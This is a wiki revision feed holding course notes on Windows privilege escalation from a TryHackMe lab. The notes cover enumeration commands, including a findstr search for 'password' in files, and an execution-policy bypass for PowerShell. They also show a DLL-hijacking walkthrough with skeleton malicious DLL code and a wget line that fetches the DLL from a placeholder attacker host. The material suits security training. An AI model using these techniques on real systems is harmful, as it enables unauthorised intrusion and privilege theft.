<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Learning_Path%2FWindows_Privilege_Escalation</id>
	<title>Learning Path/Windows Privilege Escalation - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Learning_Path%2FWindows_Privilege_Escalation"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Learning_Path/Windows_Privilege_Escalation&amp;action=history"/>
	<updated>2026-04-21T14:47:11Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Learning_Path/Windows_Privilege_Escalation&amp;diff=1170&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 20:10, 2 January 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Learning_Path/Windows_Privilege_Escalation&amp;diff=1170&amp;oldid=prev"/>
		<updated>2022-01-02T20:10:33Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;[[File:2022-01-windows-privilege-escalation-for-beginners_60e888f606201-1.jpeg|thumb|https://freesoft4download.com/windows-privilege-escalation-for-beginners/]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This is my notes from the Junior Pentesting course at TryHackMe. This course takes you through the basics and some advanced topics regarding penetration testing.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Introduction =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Privilege escalation will require you to follow a methodology similar to the one given below: &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Enumerate the current user&amp;#039;s privileges and resources it can access.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* If the antivirus software allows it, run an automated enumeration script such as &amp;#039;&amp;#039;&amp;#039;winPEAS &amp;#039;&amp;#039;&amp;#039;or &amp;#039;&amp;#039;&amp;#039;PowerUp.ps1&amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* If the initial enumeration and scripts do not uncover an obvious strategy, try a different approach (e.g. manually go over a checklist like the one provided [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md here])&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Information Gathering =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Permissions ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;icacls - &amp;#039;&amp;#039;&amp;#039;Displays or modifies discretionary access control lists (DACLs) on specified files, and applies stored DACLs to files in specified directories.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;F&amp;#039;&amp;#039;&amp;#039; - Full access&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;M&amp;#039;&amp;#039;&amp;#039;- Modify access&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;RX&amp;#039;&amp;#039;&amp;#039; - Read and execute access&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;R&amp;#039;&amp;#039;&amp;#039; - Read-only access&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;W&amp;#039;&amp;#039;&amp;#039; - Write-only access&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example: &amp;lt;code&amp;gt;icacls Desktop&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== User enumeration ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following commands will help us enumerate users and their privileges on the target system.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Current user’s privileges: &amp;lt;code&amp;gt;&amp;#039;&amp;#039;&amp;#039;whoami /priv&amp;#039;&amp;#039;&amp;#039;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* List users: &amp;lt;code&amp;gt;&amp;#039;&amp;#039;&amp;#039;net users&amp;#039;&amp;#039;&amp;#039;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* List details of a user: &amp;lt;code&amp;gt;&amp;#039;&amp;#039;&amp;#039;net user username&amp;#039;&amp;#039;&amp;#039;&amp;lt;/code&amp;gt; (e.g. &amp;lt;code&amp;gt;&amp;#039;&amp;#039;&amp;#039;net user Administrator&amp;#039;&amp;#039;&amp;#039;&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Other users logged in simultaneously: &amp;lt;code&amp;gt;&amp;#039;&amp;#039;&amp;#039;qwinsta &amp;#039;&amp;#039;&amp;#039;&amp;lt;/code&amp;gt;(the query session command can be used the same way) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* User groups defined on the system: &amp;#039;&amp;#039;&amp;#039;&amp;lt;code&amp;gt;net localgroup&amp;lt;/code&amp;gt;&amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* List members of a specific group: &amp;#039;&amp;#039;&amp;#039;&amp;lt;code&amp;gt;net localgroup groupname&amp;lt;/code&amp;gt;&amp;#039;&amp;#039;&amp;#039; (e.g. &amp;lt;code&amp;gt;&amp;#039;&amp;#039;&amp;#039;net localgroup Administrators&amp;#039;&amp;#039;&amp;#039;&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Collection System Information ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The systeminfo command will return an overview of the target system.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
systeminfo | findstr /B /C:&amp;quot;OS Name&amp;quot; /C:&amp;quot;OS Version&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Searching files ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;&amp;#039;&amp;#039;&amp;#039;findstr &amp;#039;&amp;#039;&amp;#039;&amp;lt;/code&amp;gt;command can be used to find such files in a format similar to the one given below:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
findstr /si password *.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Command breakdown: ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;#039;&amp;#039;&amp;#039;findstr&amp;#039;&amp;#039;&amp;#039;&amp;lt;/code&amp;gt;: Searches for patterns of text in files.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;#039;&amp;#039;&amp;#039;/si&amp;#039;&amp;#039;&amp;#039;&amp;lt;/code&amp;gt;: Searches the current directory and all subdirectories (s), ignores upper case / lower case differences (i)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;&amp;lt;code&amp;gt;password&amp;lt;/code&amp;gt;&amp;#039;&amp;#039;&amp;#039;: The command will search for the string “password” in files&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;#039;&amp;#039;&amp;#039;*.txt&amp;#039;&amp;#039;&amp;#039;&amp;lt;/code&amp;gt;: The search will cover files that have a .txt extension&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The string and file extension can be changed according to your needs and the target environment, but “.&amp;#039;&amp;#039;&amp;#039;txt&amp;#039;&amp;#039;&amp;#039;”, “.&amp;#039;&amp;#039;&amp;#039;xml&amp;#039;&amp;#039;&amp;#039;”, “.&amp;#039;&amp;#039;&amp;#039;ini&amp;#039;&amp;#039;&amp;#039;”, “*.&amp;#039;&amp;#039;&amp;#039;config&amp;#039;&amp;#039;&amp;#039;”, and “.&amp;#039;&amp;#039;&amp;#039;xls&amp;#039;&amp;#039;&amp;#039;” are usually a good place to start.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Path Level ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A missing critical patch on the target system can be an easily exploitable ticket to privilege escalation. The command below can be used to list updates installed on the target system.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic qfe get Caption,Description,HotFixID,InstalledOn&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;WMIC &amp;#039;&amp;#039;&amp;#039;is a command-line tool on Windows that provides an interface for Windows Management Instrumentation (&amp;#039;&amp;#039;&amp;#039;WMI&amp;#039;&amp;#039;&amp;#039;).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Network Connections ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In some cases, we see that some services run locally on a system and can only be accessible locally. System Administrators that lack basic cyber security knowledge tend to be laxer when setting services that are only accessible over the system (e.g. only responding to requests sent to 127.0.0.1). As we have access to the target system, such services can provide a ticket to a higher privileged user.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The netstat command can be used to list all listening ports on the target system. The netstat -ano command will return an output similar to the one listed below:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Output of the Netstat Command&lt;br /&gt;
C:\Users\user\Desktop&amp;gt;netstat -ano&lt;br /&gt;
&lt;br /&gt;
Active Connections&lt;br /&gt;
&lt;br /&gt;
  Proto  Local Address          Foreign Address        State           PID&lt;br /&gt;
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       68&lt;br /&gt;
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4&lt;br /&gt;
[...]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The command above can be broken down as follows&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;-a&amp;#039;&amp;#039;&amp;#039;: Displays all active connections and listening ports on the target system.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;-n&amp;#039;&amp;#039;&amp;#039;: Prevents name resolution. IP Addresses and ports are displayed with numbers instead of attempting to resolves names using DNS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;-o&amp;#039;&amp;#039;&amp;#039;: Displays the process ID using each listed connection.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Any port listed as “&amp;#039;&amp;#039;&amp;#039;LISTENING&amp;#039;&amp;#039;&amp;#039;” that was not discovered with the external port scan can present a potential local service. If you uncover such a service, you can try port forwarding to connect and potentially exploit it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Scheduled Tasks ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The schtasks command can be used to query scheduled tasks.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
schtasks /query /fo LIST /v&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Drivers ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;#039;&amp;#039;&amp;#039;&amp;lt;code&amp;gt;driverquery&amp;lt;/code&amp;gt; &amp;#039;&amp;#039;&amp;#039;command will list drivers installed on the target system. You will need to do some online research about the drivers listed and see if any presents a potential privilege escalation vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Antivirus ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The query below will search for a service named “windefend” and return its current state.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sc query windefend&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
While the second approach will allow you to detect antivirus software without prior knowledge about its service name, the output may be overwhelming.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sc queryex type=service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Tools of the trade =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== WinPEAS ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
WinPEAS is a script developed to enumerate the target system to uncover privilege escalation paths. Good practice to always redirect the output to a file, as shown below:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
winpeas.exe &amp;gt; outputfile.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
WinPEAS can be downloaded [https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS here]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== PowerUp ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
PowerUp is a PowerShell script that searches common privilege escalation on the target system. You can run it with the &amp;lt;code&amp;gt;&amp;#039;&amp;#039;&amp;#039;Invoke-AllChecks&amp;#039;&amp;#039;&amp;#039;&amp;lt;/code&amp;gt; option that will perform all possible checks on the target system or use it to conduct specific checks (e.g. the &amp;#039;&amp;#039;&amp;#039;&amp;lt;code&amp;gt;Get-UnquotedService&amp;lt;/code&amp;gt; &amp;#039;&amp;#039;&amp;#039;option to only look for potential unquoted service path vulnerabilities).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
PowerUp can be downloaded [https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc here].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;Reminder&amp;#039;&amp;#039;&amp;#039;: To run PowerUp on the target system, you may need to bypass the execution policy restrictions. To achieve this, you can launch PowerShell using the command below.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Running PowerUp.ps1 on the Target System&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Users\user\Desktop&amp;gt;powershell.exe -nop -exec bypass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Windows Exploit Suggester ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To avoid making unnecessary noise that can attract attention, you may prefer to use Windows Exploit Suggester, which will run on your attacking machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Windows Exploit Suggester is a Python script that can be found and downloaded [https://github.com/AonCyberLabs/Windows-Exploit-Suggester here] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To use the script, you will need to run the &amp;lt;code&amp;gt;systeminfo&amp;lt;/code&amp;gt; command on the target system. Do not forget to direct the output to a .txt file you will need to move to your attacking machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Once this is done, windows-exploit-suggester.py can be run as follows;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
windows-exploit-suggester.py --database 2021-09-21-mssb.xls --systeminfo sysinfo_output.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Metasploit ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you already have a Meterpreter shell on the target system, you can use the &amp;lt;code&amp;gt;&amp;#039;&amp;#039;&amp;#039;multi/recon/local_exploit_suggester&amp;#039;&amp;#039;&amp;#039;&amp;lt;/code&amp;gt; module to list vulnerabilities that may affect the target system and allow you to elevate your privileges on the target system.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Vulnerable Software =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The command below will dump information it can gather on installed software.&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;#039;&amp;#039;&amp;#039;wmic product&amp;#039;&amp;#039;&amp;#039;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
You could filter the output to obtain a cleaner output with the command below.&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;#039;&amp;#039;&amp;#039;wmic product get name,version,vendor&amp;#039;&amp;#039;&amp;#039;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Be careful; due to some backward compatibility issues (e.g. software written for 32 bits systems running on 64 bits), the &amp;#039;&amp;#039;&amp;#039;&amp;lt;code&amp;gt;wmic product&amp;lt;/code&amp;gt; &amp;#039;&amp;#039;&amp;#039;command may not return all installed programs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It is worth checking running services using the command below to have a better understanding of the target system.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic service list brief&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
grep the output for running services by adding a &amp;lt;code&amp;gt;findstr&amp;lt;/code&amp;gt; command as shown below.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic service list brief | findstr  &amp;quot;Running&amp;quot;&lt;br /&gt;
# Auto start service&lt;br /&gt;
wmic service get name,displayname,pathname,startmode | findstr /i &amp;quot;auto&amp;quot;&lt;br /&gt;
&lt;br /&gt;
wmic service get name,displayname,pathname,startmode |findstr /i &amp;quot;auto&amp;quot; |findstr /i /v &amp;quot;c:\windows&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you need more information on any service, you can simply use the sc qc command as seen below.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sc qc for more information on a service&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Users\user&amp;gt;sc qc RemoteMouseService&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= DLL Hijacking =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;DLL &amp;#039;&amp;#039;&amp;#039;hijacking is an effective technique that can allow you to inject code into an application. Some Windows executables will use &amp;#039;&amp;#039;&amp;#039;Dynamic Link Libraries&amp;#039;&amp;#039;&amp;#039; (DLLs) when running. We think of DLLs as files that store additional functions that support the main function of the &amp;#039;&amp;#039;&amp;#039;.exe&amp;#039;&amp;#039;&amp;#039; file. In a way, DLLs are executable files, but they can not be run directly like an exe file. They should be launched by other applications (or exe in most cases). If we can switch the legitimate DLL file with a specially crafted DLL file, our code will be run by the application. DLL hijacking requires an application (typically an exe file) that either has a missing DLL file, or where the search order can be used to insert the malicious DLL file.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction to DLL Files ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
DLL Files are stored in &amp;#039;&amp;#039;&amp;#039;C:\Winows\System32&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A DLL Hijacking scenario consists of replacing a &amp;#039;&amp;#039;&amp;#039;legitimate &amp;#039;&amp;#039;&amp;#039;DLL file with a &amp;#039;&amp;#039;&amp;#039;malicious &amp;#039;&amp;#039;&amp;#039;DLL file that will be called by the executable and run. By this point, you may have an idea about the specific conditions required for a successful DLL hijacking attack. These can be summarized as;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* An application that uses one or more DLL files.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* A way to manipulate these DLL files.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In summary, for standard desktop applications, Windows will follow one of the orders listed below depending on if the SafeDllSearchMode is enabled or not.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If &amp;#039;&amp;#039;&amp;#039;SafeDllSearchMode&amp;#039;&amp;#039;&amp;#039; is enabled, the search order is as follows:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* The directory from which the application loaded.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* The system directory. Use the &amp;#039;&amp;#039;&amp;#039;[https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya GetSystemDirectory]&amp;#039;&amp;#039;&amp;#039; function to get the path of this directory.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* The Windows directory. Use the &amp;#039;&amp;#039;&amp;#039;[https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya GetWindowsDirectory]&amp;#039;&amp;#039;&amp;#039; function to get the path of this directory.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* The current directory.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the &amp;#039;&amp;#039;&amp;#039;App Paths&amp;#039;&amp;#039;&amp;#039; registry key. The &amp;#039;&amp;#039;&amp;#039;App Paths&amp;#039;&amp;#039;&amp;#039; key is not used when computing the DLL search path.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If &amp;#039;&amp;#039;&amp;#039;SafeDllSearchMode&amp;#039;&amp;#039;&amp;#039; is disabled, the search order is as follows:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* The directory from which the application loaded.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* The current directory.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* The system directory. Use the &amp;#039;&amp;#039;&amp;#039;[https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya GetSystemDirectory]&amp;#039;&amp;#039;&amp;#039; function to get the path of this directory.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* The Windows directory. Use the &amp;#039;&amp;#039;&amp;#039;[https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya GetWindowsDirectory]&amp;#039;&amp;#039;&amp;#039; function to get the path of this directory.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* The directories that are listed in the &amp;#039;&amp;#039;&amp;#039;PATH &amp;#039;&amp;#039;&amp;#039;environment variable. Note that this does not include the per-application path specified by the &amp;#039;&amp;#039;&amp;#039;App Paths&amp;#039;&amp;#039;&amp;#039; registry key. The &amp;#039;&amp;#039;&amp;#039;App Paths&amp;#039;&amp;#039;&amp;#039; key is not used when computing the &amp;#039;&amp;#039;&amp;#039;DLL search path&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For example, if our &amp;#039;&amp;#039;&amp;#039;application.exe &amp;#039;&amp;#039;&amp;#039;requires the&amp;#039;&amp;#039;&amp;#039; app.dll&amp;#039;&amp;#039;&amp;#039; file to run, it will look for the&amp;#039;&amp;#039;&amp;#039; app.dll&amp;#039;&amp;#039;&amp;#039; file first in the directory from which it is launched. If this does not return any match for app.dll, the search will continue in the above-specified order. If the user privileges we have on the system allow us to write to any folder in the search order, we can have a possible DLL hijacking vulnerability. An important note is that the application should not be able to find the legitimate DLL before our modified DLL.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Finding DLL Hijacking Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Identifying DLL Hijacking vulnerabilities will require loading additional tools or scripts to the target system.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The tool you can use to find potential DLL hijacking vulnerabilities is &amp;#039;&amp;#039;&amp;#039;Process Monitor &amp;#039;&amp;#039;&amp;#039;(ProcMon). ProcMon requires &amp;#039;&amp;#039;&amp;#039;admin &amp;#039;&amp;#039;&amp;#039;rights, so it will not work on the target machine. You have to setup a test environment and conduct research there.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The screenshot below shows you what to look for in the &amp;#039;&amp;#039;&amp;#039;ProcMon &amp;#039;&amp;#039;&amp;#039;interface. You will see some entries resulted in “&amp;#039;&amp;#039;&amp;#039;NAME NOT FOUND&amp;#039;&amp;#039;&amp;#039;”.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-71.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The last two lines in the screenshot above show that dllhijackservice.exe is trying to launch hijackme.dll in the “&amp;#039;&amp;#039;&amp;#039;C:\Temp&amp;#039;&amp;#039;&amp;#039;” folder but can not find this file. This is a typical case of a missing DLL file.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Creating a malicious DLL file ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The example below is a skeleton DLL file you can adapt according to your needs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skeleton Code for the Malicious DLL&lt;br /&gt;
#include&lt;br /&gt;
&lt;br /&gt;
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {&lt;br /&gt;
    if (dwReason == DLL_PROCESS_ATTACH) {&lt;br /&gt;
        system(&amp;quot;cmd.exe /k whoami &amp;gt; C:\\Temp\\dll.txt&amp;quot;);&lt;br /&gt;
        ExitProcess(0);&lt;br /&gt;
    }&lt;br /&gt;
    return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
You can see this file will execute the &amp;#039;&amp;#039;&amp;#039;&amp;lt;code&amp;gt;whoami&amp;lt;/code&amp;gt; &amp;#039;&amp;#039;&amp;#039;command (&amp;lt;code&amp;gt;&amp;#039;&amp;#039;&amp;#039;cmd.exe /k whoami&amp;#039;&amp;#039;&amp;#039;&amp;lt;/code&amp;gt;) and save the output in a file called &amp;quot;&amp;#039;&amp;#039;&amp;#039;dll.txt&amp;#039;&amp;#039;&amp;#039;&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;#039;&amp;#039;&amp;#039;mingw &amp;#039;&amp;#039;&amp;#039;compiler can be used to generate the DLL file with the command given below:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
You can install the &amp;#039;&amp;#039;&amp;#039;mingw &amp;#039;&amp;#039;&amp;#039;compiler using the &amp;lt;code&amp;gt;&amp;#039;&amp;#039;&amp;#039;apt install gcc-mingw-w64-x86-64&amp;#039;&amp;#039;&amp;#039;&amp;lt;/code&amp;gt; command.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We have seen earlier that the application we target searches for a DLL named &amp;#039;&amp;#039;&amp;#039;hijackme.dll&amp;#039;&amp;#039;&amp;#039;. This is what our malicious DLL should be named.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Once compiled, we will need to move the &amp;#039;&amp;#039;&amp;#039;hijackme.dll&amp;#039;&amp;#039;&amp;#039; file to the Temp folder in our target system. You can use the following PowerShell command to download the&amp;#039;&amp;#039;&amp;#039; .dll&amp;#039;&amp;#039;&amp;#039; file to the target system: &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
wget -O hijackme.dll ATTACKBOX_IP:PORT/hijackme.dll&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-72.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
